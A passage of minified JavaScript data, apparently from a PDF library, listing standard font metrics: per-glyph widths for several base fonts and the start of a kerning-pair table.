Reserved.&quot;,EncodingScheme:&quot;AdobeStandardEncoding&quot;,CapHeight:&quot;562&quot;,XHeight:&quot;426&quot;,Ascender:&quot;629&quot;,Descender:&quot;-157&quot;,StdHW:&quot;51&quot;,StdVW:&quot;51&quot;}],XNe={space:[278,278,278,278,250,250,250,250,600,600,600,600],exclam:[333,333,278,278,333,389,333,333,600,600,600,600],quotedbl:[474,474,355,355,555,555,420,408,600,600,600,600],numbersign:[556,556,556,556,500,500,500,500,600,600,600,600],dollar:[556,556,556,556,500,500,500,500,600,600,600,600],percent:[889,889,889,889,1e3,833,833,833,600,600,600,600],ampersand:[722,722,667,667,833,778,778,778,600,600,600,600],quoteright:[278,278,222,222,333,333,333,333,600,600,600,600],parenleft:[333,333,333,333,333,333,333,333,600,600,600,600],parenright:[333,333,333,333,333,333,333,333,600,600,600,600],asterisk:[389,389,389,389,500,500,500,500,600,600,600,600],plus:[584,584,584,584,570,570,675,564,600,600,600,600],comma:[278,278,278,278,250,250,250,250,600,600,600,600],hyphen:[333,333,333,333,333,333,333,333,600,600,600,600],period:[278,278,278,278,250,250,250,250,600,600,600,600],slash:[278,278,278,278,278,278,278,278,600,600,600,600],zero:[556,556,556,556,500,500,500,500,600,600,600,600],one:[556,556,556,556,500,500,500,500,600,600,600,600],two:[556,556,556,556,500,500,500,500,600,600,600,600],three:[556,556,556,556,500,500,500,500,600,600,600,600],four:[556,556,556,556,500,500,500,500,600,600,600,600],five:[556,556,556,556,500,500,500,500,600,600,600,600],six:[556,556,556,556,500,500,500,500,600,600,600,600],seven:[556,556,556,556,500,500,500,500,600,600,600,600],eight:[556,556,556,556,500,500,500,500,600,600,600,600],nine:[556,556,556,556,500,500,500,500,600,600,600,600],colon:[333,333,278,278,333,333,333,278,600,600,600,600],semicolon:[333,333,278,278,333,333,333,278,600,600,600,600],less:[584,584,584,584,570,570,675,564,600,600,600,600],equal:[584,584,584,584,570,570,675,564,600,600,600,600],greater:[584,584,584,584,570,570,675,564,600,600,600,600],question:[611,611,556,556,500,500,500,444,600,600,600,600],at:[975,975,1015,1015,930,832,920,921,600,600,600,600],A:[722,722,667,667,722,667,611,722,600,600,600,600],B:[722,722,667,667,667,667,611,667,600,600,600,600],C:[722,722,722,722,722,667,667,667,600,600,600,600],D:[722,722,722,722,722,722,722,722,600,600,600,600],E:[667,667,667,667,667,667,611,611,600,600,600,600],F:[611,611,611,611,611,667,611,556,600,600,600,600],G:[778,778,778,778,778,722,722,722,600,600,600,600],H:[722,722,722,722,778,778,722,722,600,600,600,600],I:[278,278,278,278,389,389,333,333,600,600,600,600],J:[556,556,500,500,500,500,444,389,600,600,600,600],K:[722,722,667,667,778,667,667,722,600,600,600,600],L:[611,611,556,556,667,611,556,611,600,600,600,600],M:[833,833,833,833,944,889,833,889,600,600,600,600],N:[722,722,722,722,722,722,667,722,600,600,600,600],O:[778,778,778,778,778,722,722,722,600,600,600,600],P:[667,667,667,667,611,611,611,556,600,600,600,600],Q:[778,778,778,778,778,722,722,722,600,600,600,600],R:[722,722,722,722,722,667,611,667,600,600,600,600],S:[667,667,667,667,556,556,500,556,600,600,600,600],T:[611,611,611,611,667,611,556,611,600,600,600,600],U:[722,722,722,722,722,722,722,722,600,600,600,600],V:[667,667,667,667,722,667,611,722,600,600,600,600],W:[944,944,944,944,1e3,889,833,944,600,600,600,600],X:[667,667,667,667,722,667,611,722,600,600,600,600],Y:[667,667,667,667,722,611,556,722,600,600,600,600],Z:[611,611,611,611,667,611,556,611,600,600,600,600],bracketleft:[333,333,278,278,333,333,389,333,600,600,600,600],backslash:[278,278,278,278,278,278,278,278,600,600,600,600],bracketright:[333,333,278,278,333,333,389,333,600,600,600,600],asciicircum:[584,584,469,469,581,570,422,469,600,600,600,600],underscore:[556,556,556,556,500,500,500,500,600,600,600,600],quoteleft:[278,278,222,222,333,333,333,333,600,600,600,600],a:[556,556,556,556,500,500,500,444,600,600,600,600],b:[611,611,556,556,556,500,500,500,600,600,600,600],c:[556,556,500,500,444,444,444,444,600,600,600,600],d:[611,611,556,556,556,500,500,500,600,600,600,600],e:[556,556,556,556,444,444,444,444,600,600,600,600],f:[333,333,278,278,333,333,278,333,600,600,600,600],g:[611,611,556,556,500,500,500,500,600,600,600,600],h:[611,611,556,556,556,556,500,500,600,600,600,600],i:[278,278,222,222,278,278,278,278,600,600,600,600],j:[278,278,222,222,333,278,278,278,600,600,600,600],k:[556,556,500,500,556,500,444,500,600,600,600,600],l:[278,278,222,222,278,278,278,278,600,600,600,600],m:[889,889,833,833,833,778,722,778,600,600,600,600],n:[611,611,556,556,556,556,500,500,600,600,600,600],o:[611,611,556,556,500,500,500,500,600,600,600,600],p:[611,611,556,556,556,500,500,500,600,600,600,600],q:[611,611,556,556,556,500,500,500,600,600,600,600],r:[389,389,333,333,444,389,389,333,600,600,600,600],s:[556,556,500,500,389,389,389,389,600,600,600,600],t:[333,333,278,278,333,278,278,278,600,600,600,600],u:[611,611,556,556,556,556,500,500,600,600,600,600],v:[556,556,500,500,500,444,444,500,600,600,600,600],w:[778,778,722,722,722,667,667,722,600,600,600,600],x:[556,556,500,500,500,500,444,500,600,600,600,600],y:[556,556,500,500,500,444,444,500,600,600,600,600],z:[500,500,500,500,444,389,389,444,600,600,600,600],braceleft:[389,389,334,334,394,348,400,480,600,600,600,600],bar:[280,280,260,260,220,220,275,200,600,600,600,600],braceright:[389,389,334,334,394,348,400,480,600,600,600,600],asciitilde:[584,584,584,584,520,570,541,541,600,600,600,600],exclamdown:[333,333,333,333,333,389,389,333,600,600,600,600],cent:[556,556,556,556,500,500,500,500,600,600,600,600],sterling:[556,556,556,556,500,500,500,500,600,600,600,600],fraction:[167,167,167,167,167,167,167,167,600,600,600,600],yen:[556,556,556,556,500,500,500,500,600,600,600,600],florin:[556,556,556,556,500,500,500,500,600,600,600,600],section:[556,556,556,556,500,500,500,500,600,600,600,600],currency:[556,556,556,556,500,500,500,500,600,600,600,600],quotesingle:[238,238,191,191,278,278,214,180,600,600,600,600],quotedblleft:[500,500,333,333,500,500,556,444,600,600,600,600],guillemotleft:[556,556,556,556,500,500,500,500,600,600,600,600],guilsinglleft:[333,333,333,333,333,333,333,333,600,600,600,600],guilsinglright:[333,333,333,333,333,333,333,333,600,600,600,600],fi:[611,611,500,500,556,556,500,556,600,600,600,600],fl:[611,611,500,500,556,556,500,556,600,600,600,600],endash:[556,556,556,556,500,500,500,500,600,600,600,600],dagger:[556,556,556,556,500,500,500,500,600,600,600,600],daggerdbl:[556,556,556,556,500,500,500,500,600,600,600,600],periodcentered:[278,278,278,278,250,250,250,250,600,600,600,600],paragraph:[556,556,537,537,540,500,523,453,600,600,600,600],bullet:[350,350,350,350,350,350,350,350,600,600,600,600],quotesinglbase:[278,278,222,222,333,333,333,333,600,600,600,600],quotedblbase:[500,500,333,333,500,500,556,444,600,600,600,600],quotedblright:[500,500,333,333,500,500,556,444,600,600,600,600],guillemotright:[556,556,556,556,500,500,500,500,600,600,600,600],ellipsis:[1e3,1e3,1e3,1e3,1e3,1e3,889,1e3,600,600,600,600],perthousand:[1e3,1e3,1e3,1e3,1e3,1e3,1e3,1e3,600,600,600,600],questiondown:[611,611,611,611,500,500,500,444,600,600,600,600],grave:[333,333,333,333,333,333,333,333,600,600,600,600],acute:[333,333,333,333,333,333,333,333,600,600,600,600],circumflex:[333,333,333,333,333,333,333,333,600,600,600,600],tilde:[333,333,333,333,333,333,333,333,600,600,600,600],macron:[333,333,333,333,333,333,333,333,600,600,600,600],breve:[333,333,333,333,333,333,333,333,600,600,600,600],dotaccent:[333,333,333,333,333,333,333,333,600,600,600,600],dieresis:[333,333,333,333,333,333,333,333,600,600,600,600],ring:[333,333,333,333,333,333,333,333,600,600,600,600],cedilla:[333,333,333,333,333,333,333,333,600,600,600,600],hungarumlaut:[333,333,333,333,333,333,333,333,600,600,600,600],ogonek:[333,333,333,333,333,333,333,333,600,600,600,600],caron:[333,333,333,333,333,333,333,333,600,600,600,600],emdash:[1e3,1e3,1e3,1e3,1e3,1e3,889,1e3,600,600,600,600],AE:[1e3,1e3,1e3,1e3,1e3,944,889,889,600,600,600,600],ordfeminine:[370,370,370,370,300,266,276,276,600,600,600,600],Lslash:[611,611,556,556,667,611,556,611,600,600,600,600],Oslash:[778,778,778,778,778,722,722,722,600,600,600,600],OE:[1e3,1e3,1e3,1e3,1e3,944,944,889,600,600,600,600],ordmasculine:[365,365,365,365,330,300,310,310,600,600,600,600],ae:[889,889,889,889,722,722,667,667,600,600,600,600],dotlessi:[278,278,278,278,278,278,278,278,600,600,600,600],lslash:[278,278,222,222,278,278,278,278,600,600,600,600],oslash:[611,611,611,611,500,500,500,500,600,600,600,600],oe:[944,944,944,944,722,722,667,722,600,600,600,600],germandbls:[611,611,611,611,556,500,500,500,600,600,600,600],Idieresis:[278,278,278,278,389,389,333,333,600,600,600,600],eacute:[556,556,556,556,444,444,444,444,600,600,600,600],abreve:[556,556,556,556,500,500,500,444,600,600,600,600],uhungarumlaut:[611,611,556,556,556,556,500,500,600,600,600,600],ecaron:[556,556,556,556,444,444,444,444,600,600,600,600],Ydieresis:[667,667,667,667,722,611,556,722,600,600,600,600],divide:[584,584,584,584,570,570,675,564,600,600,600,600],Yacute:[667,667,667,667,722,611,556,722,600,600,600,600],Acircumflex:[722,722,667,667,722,667,611,722,600,600,600,600],aacute:[556,556,556,556,500,500,500,444,600,600,600,600],Ucircumflex:[722,722,722,722,722,722,722,722,600,600,600,600],yacute:[556,556,500,500,500,444,444,500,600,600,600,600],scommaaccent:[556,556,500,500,389,389,389,389,600,600,600,600],ecircumflex:[556,556,556,556,444,444,444,444,600,600,600,600],Uring:[722,722,722,722,722,722,722,722,600,600,600,600],Udieresis:[722,722,722,722,722,722,722,722,600,600,600,600],aogonek:[556,556,556,556,500,500,500,444,600,600,600,600],Uacute:[722,722,722,722,722,722,722,722,600,600,600,600],uogonek:[611,611,556,556,556,556,500,500,600,600,600,600],Edieresis:[667,667,667,667,667,667,611,611,600,600,600,600],Dcroat:[722,722,722,722,722,722,722,722,600,600,600,600],commaaccent:[250,250,250,250,250,250,250,250,600,600,600,600],copyright:[737,737,737,737,747,747,760,760,600,600,600,600],Emacron:[667,667,667,667,667,667,611,611,600,600,600,600],ccaron:[556,556,500,500,444,444,444,444,600,600,600,600],aring:[556,556,556,556,500,500,500,444,600,600,600,600],Ncommaaccent:[722,722,722,722,722,722,667,722,600,600,600,600],lacute:[278,278,222,222,278,278,278,278,600,600,600,600],agrave:[556,556,556,556,500,500,500,444,600,600,600,600],Tcommaaccent:[611,611,611,611,667,611,556,611,600,600,600,600],Cacute:[722,722,722,722,722,667,667,667,600,600,600,600],atilde:[556,556,556,556,500,500,500,444,600,600,600,600],Edotaccent:[667,667,667,667,667,667,611,611,600,600,600,600],scaron:[556,556,500,500,389,389,389,389,600,600,600,600],scedilla:[556,556,500,500,389,389,389,389,600,600,600,600],iacute:[278,278,278,278,278,278,278,278,600,600,600,600],lozenge:[494,494,471,471,494,494,471,471,600,600,600,600],Rcaron:[722,722,722,722,722,667,611,667,600,600,600,600],Gcommaaccent:[778,778,778,778,778,722,722,722,600,600,600,600],ucircumflex:[611,611,556,556,556,556,500,500,600,600,600,600],acircumflex:[556,556,556,556,500,500,500,444,600,600,600,600],Amacron:[722,722,667,667,722,667,611,722,600,600,600,600],rcaron:[389,389,333,333,444,389,389,333,600,600,600,600],ccedilla:[556,556,500,500,444,444,444,444,600,600,600,600],Zdotaccent:[611,611,611,611,667,611,556,611,600,600,600,600],Thorn:[667,667,667,667,611,611,611,556,600,600,600,600],Omacron:[778,778,778,778,778,722,722,722,600,600,600,600],Racute:[722,722,722,722,722,667,611,667,600,600,600,600],Sacute:[667,667,667,667,556,556,500,556,600,600,600,600],dcaron:[743,743,643,643,672,608,544,588,600,600,600,600],Umacron:[722,722,722,722,722,722,722,722,600,600,600,600],uring:[611,611,556,556,556,556,500,500,600,600,600,600],threesuperior:[333,333,333,333,300,300,300,300,600,600,600,600],Ograve:[778,778,778,778,778,722,722,722,600,600,600,600],Agrave:[722,722,667,667,722,667,611,722,600,600,600,600],Abreve:[722,722,667,667,722,667,611,722,600,600,600,600],multiply:[584,584,584,584,570,570,675,564,600,600,600,600],uacute:[611,611,556,556,556,556,500,500,600,600,600,600],Tcaron:[611,611,611,611,667,611,556,611,600,600,600,600],partialdiff:[494,494,476,476,494,494,476,476,600,600,600,600],ydieresis:[556,556,500,500,500,444,444,500,600,600,600,600],Nacute:[722,722,722,722,722,722,667,722,600,600,600,600],icircumflex:[278,278,278,278,278,278,278,278,600,600,600,600],Ecircumflex:[667,667,667,667,667,667,611,611,600,600,600,600],adieresis:[556,556,556,556,500,500,500,444,600,600,600,600],edieresis:[556,556,556,556,444,444,444,444,600,600,600,600],cacute:[556,556,500,500,444,444,444,444,600,600,600,600],nacute:[611,611,556,556,556,556,500,500,600,600,600,600],umacron:[611,611,556,556,556,556,500,500,600,600,600,600],Ncaron:[722,722,722,722,722,722,667,722,600,600,600,600],Iacute:[278,278,278,278,389,389,333,333,600,600,600,600],plusminus:[584,584,584,584,570,570,675,564,600,600,600,600],brokenbar:[280,280,260,260,220,220,275,200,600,600,600,600],registered:[737,737,737,737,747,747,760,760,600,600,600,600],Gbreve:[778,778,778,778,778,722,722,722,600,600,600,600],Idotaccent:[278,278,278,278,389,389,333,333,600,600,600,600],summation:[600,600,600,600,600,600,600,600,600,600,600,600],Egrave:[667,667,667,667,667,667,611,611,600,600,600,600],racute:[389,389,333,333,444,389,389,333,600,600,600,600],omacron:[611,611,556,556,500,500,500,500,600,600,600,600],Zacute:[611,611,611,611,667,611,556,611,600,600,600,600],Zcaron:[611,611,611,611,667,611,556,611,600,600,600,600],greaterequal:[549,549,549,549,549,549,549,549,600,600,600,600],Eth:[722,722,722,722,722,722,722,722,600,600,600,600],Ccedilla:[722,722,722,722,722,667,667,667,600,600,600,600],lcommaaccent:[278,278,222,222,278,278,278,278,600,600,600,600],tcaron:[389,389,317,317,416,366,300,326,600,600,600,600],eogonek:[556,556,556,556,444,444,444,444,600,600,600,600],Uogonek:[722,722,722,722,722,722,722,722,600,600,600,600],Aacute:[722,722,667,667,722,667,611,722,600,600,600,600],Adieresis:[722,722,667,667,722,667,611,722,600,600,600,600],egrave:[556,556,556,556,444,444,444,444,600,600,600,600],zacute:[500,500,500,500,444,389,389,444,600,600,600,600],iogonek:[278,278,222,222,278,278,278,278,600,600,600,600],Oacute:[778,778,778,778,778,722,722,722,600,600,600,600],oacute:[611,611,556,556,500,500,500,500,600,600,600,600],amacron:[556,556,556,556,500,500,500,444,600,600,600,600],sacute:[556,556,500,500,389,389,389,389,600,600,600,600],idieresis:[278,278,278,278,278,278,278,278,600,600,600,600],Ocircumflex:[778,778,778,778,778,722,722,722,600,600,600,600],Ugrave:[722,722,722,722,722,722,722,722,600,600,600,600],Delta:[612,612,612,612,612,612,612,612,600,600,600,600],thorn:[611,611,556,556,556,500,500,500,600,600,600,600],twosuperior:[333,333,333,333,300,300,300,300,600,600,600,600],Odieresis:[778,778,778,778,778,722,722,722,600,600,600,600],mu:[611,611,556,556,556,576,500,500,600,600,600,600],igrave:[278,278,278,278,278,278,278,278,600,600,600,600],ohungarumlaut:[611,611,556,556,500,500,500,500,600,600,600,600],Eogonek:[667,667,667,667,667,667,611,611,600,600,600,600],dcroat:[611,611,556,556,556,500,500,500,600,600,600,600],threequarters:[834,834,834,834,750,750,750,750,600,600,600,600],Scedilla:[667,667,667,667,556,556,500,556,600,600,600,600],lcaron:[400,400,299,299,394,382,300,344,600,600,600,600],Kcommaaccent:[722,722,667,667,778,667,667,722,600,600,600,600],Lacute:[611,611,556,556,667,611,556,611,600,600,600,600],trademark:[1e3,1e3,1e3,1e3,1e3,1e3,980,980,600,600,600,600],edotaccent:[556,556,556,556,444,444,444,444,600,600,600,600],Igrave:[278,278,278,278,389,389,333,333,600,600,600,600],Imacron:[278,278,278,278,389,389,333,333,600,600,600,600],Lcaron:[611,611,556,556,667,611,611,611,600,600,600,600],onehalf:[834,834,834,834,750,750,750,750,600,600,600,600],lessequal:[549,549,549,549,549,549,549,549,600,600,600,600],ocircumflex:[611,611,556,556,500,500,500,500,600,600,600,600],ntilde:[611,611,556,556,556,556,500,500,600,600,600,600],Uhungarumlaut:[722,722,722,722,722,722,722,722,600,600,600,600],Eacute:[667,667,667,667,667,667,611,611,600,600,600,600],emacron:[556,556,556,556,444,444,444,444,600,600,600,600],gbreve:[611,611,556,556,500,500,500,500,600,600,600,600],onequarter:[834,834,834,834,750,750,750,750,600,600,600,600],Scaron:[667,667,667,667,556,556,500,556,600,600,600,600],Scommaaccent:[667,667,667,667,556,556,500,556,600,600,600,600],Ohungarumlaut:[778,778,778,778,778,722,722,722,600,600,600,600],degree:[400,400,400,400,400,400,400,400,600,600,600,600],ograve:[611,611,556,556,500,500,500,500,600,600,600,600],Ccaron:[722,722,722,722,722,667,667,667,600,600,600,600],ugrave:[611,611,556,556,556,556,500,500,600,600,600,600],radical:[549,549,453,453,549,549,453,453,600,600,600,600],Dcaron:[722,722,722,722,722,722,722,722,600,600,600,600],rcommaaccent:[389,389,333,333,444,389,389,333,600,600,600,600],Ntilde:[722,722,722,722,722,722,667,722,600,600,600,600],otilde:[611,611,556,556,500,500,500,500,600,600,600,600],Rcommaaccent:[722,722,722,722,722,667,611,667,600,600,600,600],Lcommaaccent:[611,611,556,556,667,611,556,611,600,600,600,600],Atilde:[722,722,667,667,722,667,611,722,600,600,600,600],Aogonek:[722,722,667,667,722,667,611,722,600,600,600,600],Aring:[722,722,667,667,722,667,611,722,600,600,600,600],Otilde:[778,778,778,778,778,722,722,722,600,600,600,600],zdotaccent:[500,500,500,500,444,389,389,444,600,600,600,600],Ecaron:[667,667,667,667,667,667,611,611,600,600,600,600],Iogonek:[278,278,278,278,389,389,333,333,600,600,600,600],kcommaaccent:[556,556,500,500,556,500,444,500,600,600,600,600],minus:[584,584,584,584,570,606,675,564,600,600,600,600],Icircumflex:[278,278,278,278,389,389,333,333,600,600,600,600],ncaron:[611,611,556,556,556,556,500,500,600,600,600,600],tcommaaccent:[333,333,278,278,333,278,278,278,600,600,600,600],logicalnot:[584,584,584,584,570,606,675,564,600,600,600,600],odieresis:[611,611,556,556,500,500,500,500,600,600,600,600],udieresis:[611,611,556,556,556,556,500,500,600,600,600,600],notequal:[549,549,549,549,549,549,549,549,600,600,600,600],gcommaaccent:[611,611,556,556,500,500,500,500,600,600,600,600],eth:[611,611,556,556,500,500,500,500,600,600,600,600],zcaron:[500,500,500,500,444,389,389,444,600,600,600,600],ncommaaccent:[611,611,556,556,556,556,500,500,600,600,600,600],onesuperior:[333,333,333,333,300,300,300,300,600,600,600,600],imacron:[278,278,278,278,278,278,278,278,600,600,600,600],Euro:[556,556,556,556,500,500,500,500,600,600,600,600]},e6e={AC:[-40,-40,-30,-30,-55,-65,-30,-40],ACacute:[-40,-40,-30,-30,-55,-65,-30,-40],ACcaron:[-40,-40,-30,-30,-55,-65,-30,-40],ACcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AG:[-50,-50,-30,-30,-55,-60,-35,-40],AGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AO:[-40,-40,-30,-30,-45,-50,-40,-55],AOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AQ:[-40,-40,-30,-30,-45,-55,-40,-55],AT:[-90,-90,-120,-120,-95,-55,-37,-111],ATcaron:[-90,-90,-120,-120,-95,-55,-37,-111],ATcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AU:[-50,-50,-50,-50,-50,-50,-50,-55],AUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AUring:[-50,-50,-50,-50,-50,-50,-50,-55],AV:[-80,-80,-70,-70,-145,-95,-105,-135],AW:[-60,-60,-50,-50,-130,-100,-95,-90],AY:[-110,-110,-100,-100,-100,-70,-55,-105],AYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Au:[-30,-30,-30,-30,-50,-30,-20],Auacute:[-30,-30,-30,-30,-50,-30,-20],Aucircumflex:[-30,-30,-30,-30,-50,-30,-20],Audieresis:[-30,-30,-30,-30,-50,-30,-20],Augrave:[-30,-30,-30,-30,-50,-30,-20],Auhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Aumacron:[-30,-30,-30,-30,-50,-30,-20],Auogonek:[-30,-30,-30,-30,-50,-30,-20],Auring:[-30,-30,-30,-30,-50,-30,-20],Av:[-40,-40,-40,-40,-100,-74,-55,-74],Aw:[-30,-30,-40,-40,-90,-74,-55,-92],Ay:[-30,-30,-40,-40,-74,-74,-55,-92],Ayacute:[-30,-30,-40,-40,-74,-74,-55,-92],Aydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AacuteC:[-40,-40,-30,-30,-55,-65,-30,-40],AacuteCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AacuteCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AacuteCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AacuteG:[-50,-50,-30,-30,-55,-60,-35,-40],AacuteGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AacuteGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AacuteO:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AacuteQ:[-40,-40,-30,-30,-45,-55,-40,-55],AacuteT:[-90,-90,-120,-120,-95,-55,-37,-111],AacuteTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AacuteTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AacuteU:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteUring:[-50,-50,-50,-50,-50,-50,-50,-55],AacuteV:[-80,-80,-70,-70,-145,-95,-105,-135],AacuteW:[-60,-60,-50,-50,-130,-100,-95,-90],AacuteY:[-110,-110,-100,-100,-100,-70,-55,-105],AacuteYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AacuteYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Aacuteu:[-30,-30,-30,-30,-50,-30,-20],Aacuteuacute:[-30,-30,-30,-30,-50,-30,-20],Aacuteucircumflex:[-30,-30,-30,-30,-50,-30,-20],Aacuteudieresis:[-30,-30,-30,-30,-50,-30,-20],Aacuteugrave:[-30,-30,-30,-30,-50,-30,-20],Aacuteuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Aacuteumacron:[-30,-30,-30,-30,-50,-30,-20],Aacuteuogonek:[-30,-30,-30,-30,-50,-30,-20],Aacuteuring:[-30,-30,-30,-30,-50,-30,-20],Aacutev:[-40,-40,-40,-40,-100,-74,-55,-74],Aacutew:[-30,-30,-40,-40,-90,-74,-55,-92],Aacutey:[-30,-30,-40,-40,-74,-74,-55,-92],Aacuteyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Aacuteydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AbreveC:[-40,-40,-30,-30,-55,-65,-30,-40],AbreveCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AbreveCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AbreveCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AbreveG:[-50,-50,-30,-30,-55,-60,-35,-40],AbreveGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AbreveGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AbreveO:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AbreveQ:[-40,-40,-30,-30,-45,-55,-40,-55],AbreveT:[-90,-90,-120,-120,-95,-55,-37,-111],AbreveTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AbreveTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AbreveU:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUgrave:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUhungarumlaut:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUmacron:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUogonek:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveUring:[-50,-50,-50,-50,-50,-50,-50,-55],AbreveV:[-80,-80,-70,-70,-145,-95,-105,-135],AbreveW:[-60,-60,-50,-50,-130,-100,-95,-90],AbreveY:[-110,-110,-100,-100,-100,-70,-55,-105],AbreveYacute:[-110,-110,-100,-100,-100,-70,-55,-105],AbreveYdieresis:[-110,-110,-100,-100,-100,-70,-55,-105],Abreveu:[-30,-30,-30,-30,-50,-30,-20],Abreveuacute:[-30,-30,-30,-30,-50,-30,-20],Abreveucircumflex:[-30,-30,-30,-30,-50,-30,-20],Abreveudieresis:[-30,-30,-30,-30,-50,-30,-20],Abreveugrave:[-30,-30,-30,-30,-50,-30,-20],Abreveuhungarumlaut:[-30,-30,-30,-30,-50,-30,-20],Abreveumacron:[-30,-30,-30,-30,-50,-30,-20],Abreveuogonek:[-30,-30,-30,-30,-50,-30,-20],Abreveuring:[-30,-30,-30,-30,-50,-30,-20],Abrevev:[-40,-40,-40,-40,-100,-74,-55,-74],Abrevew:[-30,-30,-40,-40,-90,-74,-55,-92],Abrevey:[-30,-30,-40,-40,-74,-74,-55,-92],Abreveyacute:[-30,-30,-40,-40,-74,-74,-55,-92],Abreveydieresis:[-30,-30,-40,-40,-74,-74,-55,-92],AcircumflexC:[-40,-40,-30,-30,-55,-65,-30,-40],AcircumflexCacute:[-40,-40,-30,-30,-55,-65,-30,-40],AcircumflexCcaron:[-40,-40,-30,-30,-55,-65,-30,-40],AcircumflexCcedilla:[-40,-40,-30,-30,-55,-65,-30,-40],AcircumflexG:[-50,-50,-30,-30,-55,-60,-35,-40],AcircumflexGbreve:[-50,-50,-30,-30,-55,-60,-35,-40],AcircumflexGcommaaccent:[-50,-50,-30,-30,-55,-60,-35,-40],AcircumflexO:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOacute:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOcircumflex:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOdieresis:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOgrave:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOhungarumlaut:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOmacron:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOslash:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexOtilde:[-40,-40,-30,-30,-45,-50,-40,-55],AcircumflexQ:[-40,-40,-30,-30,-45,-55,-40,-55],AcircumflexT:[-90,-90,-120,-120,-95,-55,-37,-111],AcircumflexTcaron:[-90,-90,-120,-120,-95,-55,-37,-111],AcircumflexTcommaaccent:[-90,-90,-120,-120,-95,-55,-37,-111],AcircumflexU:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUacute:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUcircumflex:[-50,-50,-50,-50,-50,-50,-50,-55],AcircumflexUdieresis:[-50,-50,-50,-50,-50,-50,-50,-55],Aci